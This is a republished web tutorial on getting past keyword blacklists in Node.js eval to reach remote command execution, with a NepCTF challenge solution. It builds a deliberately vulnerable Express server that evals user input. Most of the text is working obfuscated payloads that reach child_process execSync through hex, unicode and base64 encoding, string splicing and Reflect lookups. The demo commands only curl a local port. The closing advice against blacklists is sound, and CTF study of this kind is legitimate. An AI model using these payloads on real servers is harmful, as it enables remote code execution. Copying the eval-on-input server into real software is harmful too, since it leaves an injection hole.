Summary of some tips for bypassing nodejs code execution

Summary of some tips for bypassing nodejs code execution

In PHP, eval code execution is a well-known topic, and various tricks are used to bypass PHP code execution. This article mainly talks about some ideas of bypass in nodejs.

1. child_process

First, let me introduce the child_process module in nodejs that is used to execute system commands. Nodejs uses the child_process module to spawn multiple child processes to handle other things. There are seven methods in child_process: execFileSync, spawnSync, execSync, fork, exec, execFile, and spawn, and all of these methods use the spawn() method. Because fork runs another child process file, here are the usages of other functions besides fork.

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //Call an executable file and pass args in the second parameter
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

Different functions actually call spawn at the bottom. If you are interested, you can follow the source code to have a look.

const child = spawn(file, args, {
  cwd: options.cwd,
  env: options.env,
  gid: options.gid,
  uid: options.uid,
  shell: options.shell,
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

2. Command execution in nodejs

To demonstrate code execution, I wrote a minimal server with the following code:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

The principle is very simple, which is to accept the code parameter passed by the post method and then return the result of eval(code).

In nodejs, the eval() function is also used to execute code. For the rce function mentioned above, we can first get the following code to execute rce using code.

The following commands are all executed using curl local port.

eval('require("child_process").execSync("curl 127.0.0.1:1234")')

This is the simplest code execution situation. Of course, in general, when developers use eval and call the points that may accept user input layer by layer, they will not simply let the user input enter directly, but will do some filtering. For example, if the exec keyword is filtered, how can we bypass it?

Of course, it is not that simple in practice. This article only talks about ideas. You can change it according to the actual filtered keywords.

The following is the slightly modified server code, adding a regular check exec keyword

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

There are 6 approaches:

  • Hexadecimal encoding
  • unicode encoding
  • Plus Sign Splicing
  • Template Strings
  • concat function connection
  • base64 encoding

2.1 Hexadecimal encoding

The first idea is hexadecimal encoding. The reason is that in nodejs, if hexadecimal is used in a string, the character corresponding to the ASCII code of this hexadecimal is equivalent (the first reaction is a bit like MySQL).

console.log("a"==="\x61");
// true

However, when the regular expression is matched above, the hexadecimal number is not converted into characters, so the regular expression verification can be bypassed. So you can pass

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 unicode encoding

The idea is similar to the above. Since JavaScript allows Unicode characters to be represented directly by code points, the writing method is "backslash + u + code point", so we can also use the unicode form of a character to replace the corresponding character.

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 Plus Sign Splicing

The principle is very simple. The plus sign can be used to connect characters in js, so you can do this

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

2.4 Template Strings

For related content, please refer to MDN. Here is a payload

Template literals are string literals that allow embedded expressions. You can use multi-line strings and string interpolation.

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

2.5 concat

Use the concat function in js to connect strings

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 base64 encoding

This should be a more conventional idea.

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

3. Other bypass methods

This part is mainly about changing the thinking. The final idea of ​​the methods mentioned above is to get the exec keyword through encoding or splicing. This part considers some syntax and built-in functions of js.

3.1 Object.keys

In fact, the module imported by require is an Object, so you can use the methods in Object to operate and obtain the content. You can use Object.values ​​to get the various function methods in child_process, and then get execSync through the array subscript

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

3.2 Reflect

In js, you need to use the Reflect keyword to implement the reflection method of calling functions. For example, to get the eval function, you can first get all functions through Reflect.ownKeys(global), and then global[Reflect.ownKeys(global).find(x=>x.includes('eval'))] to get eval

console.log(Reflect.ownKeys(global))
//Return all functions console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//Get eval

After getting eval, you can use rce with conventional thinking

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

Although there are keywords that may be detected here, since the keywords such as mainModule, global, child_process, etc. are all in the string, they can be encoded using the method mentioned above, such as hexadecimal.

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

Here is a little trick. If you filter the eval keyword, you can use includes('eva') to search for the eval function, or you can use startswith('eva') to search.

3.3 Filtering brackets

In 3.2, the way to get eval is through the global array, which uses square brackets []. If the square brackets are filtered, you can use Reflect.get to bypass it.

The function of Reflect.get(target, propertyKey[, receiver]) is to get the value of a property on an object, similar to target[name].

So the way to get the eval function can become

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

Then just splice the payload of the command execution.

4. NepCTF-gamejs

The first step of this topic is a prototype chain pollution, and the second step is an eval command execution. Since this article mainly discusses the bypass method of eval, the prototype chain pollution is removed and only the second half of the bypass is discussed. The code is simplified as follows:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

var validCode = function (func_code) {
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (!validCode(code)) {
    res.send("forbidden!")
  } else {
    var d = '(' + code + ')';
    res.send(eval(d));
  }
})

app.listen(3000)

Since the keyword filters out single and double quotes, they can all be replaced with backticks here. Without filtering out Reflect, consider using reflection to call functions to achieve RCE. Using the points mentioned above, we can gradually construct an unexpected payload. First of all, since child_process and require keywords are filtered, I thought of encoding it in base64 before executing it.

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

Base64 is filtered here and can be directly replaced with

`base`.concat(64)


After filtering out the Buffer, you can replace it with

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

To get the Buffer.from method, you can use the subscript

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

But the problem is that the keyword also filters the brackets, which is simple. Just add another layer of Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

So the basic payload becomes

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

But the problem is that after passing it in this way, eval will only decode it instead of executing the decoded content, so another layer of eval is needed. Because the eval keyword is filtered, we also consider using reflection to obtain the eval function.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

If you can get Buffer.from, the same is true with hexadecimal encoding.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())

Of course, due to the characteristics of hexadecimal and string mentioned above, you can also directly pass the hexadecimal string after eval.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

I feel that the way nodejs handles strings is too flexible. If eval is possible, it is better not to use string blacklist for filtering.

Thanks to my front-end brother semesse for his help

Reference Links

https://xz.aliyun.com/t/9167
https://camp.hackingfor.fun/

Summarize

This is the end of this article about some tips for nodejs code execution bypass. For more information about nodejs code execution bypass, please search 123WORDPRESS.COM's previous articles or continue to browse the following related articles. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • NodeJs high memory usage troubleshooting actual combat record
  • Detailed explanation of using Nodejs built-in encryption module to achieve peer-to-peer encryption and decryption
  • Detailed explanation of asynchronous iterators in nodejs
  • Detailed explanation of nodejs built-in modules
  • Nodejs module system source code analysis
  • A brief discussion on event-driven development in JS and Nodejs
  • How to use module fs file system in Nodejs
  • Nodejs Exploration: In-depth understanding of the principle of single-threaded high concurrency
  • Nodejs error handling process record
  • How to use nodejs to write a data table entity class generation tool for C#

<<:  Best Practices for MySQL Upgrades

>>:  Detailed explanation of MySQL solution to USE DB congestion

Recommend

MySQL master-slave replication configuration process

Main library configuration 1. Configure mysql vim...

Detailed tutorial on installing Hbase 2.3.5 on Vmware + Ubuntu18.04

Preface The previous article installed Hadoop, an...

MySQL quick recovery solution based on time point

The reason for writing such an article is that on...

A brief discussion on JavaScript shallow copy and deep copy

Table of contents 1. Direct assignment 2. Shallow...

Briefly describe the use and description of MySQL primary key and foreign key

Table of contents 1. Foreign key constraints What...

How to find slow SQL statements in MySQL

How to find slow SQL statements in MySQL? This ma...

Detailed explanation of the spacing problem between img tags

IMG tag basic analysis In HTML5, the img tag has ...

js to implement file upload style details

Table of contents 1. Overview 2. Parameters for c...

How to test network speed with JavaScript

Table of contents Preface Summary of the principl...

Detailed steps to build the TypeScript environment and deploy it to VSCode

Table of contents TypeScript environment construc...

Vue+node realizes audio recording and playback function

Result: The main part is to implement the code lo...

How to write high-quality JavaScript code

Table of contents 1. Easy to read code 1. Unified...

vue element el-transfer adds drag function

The Core Asset Management Project requires el-tra...

Talking about ContentType(s) from image/x-png

This also caused the inability to upload png files...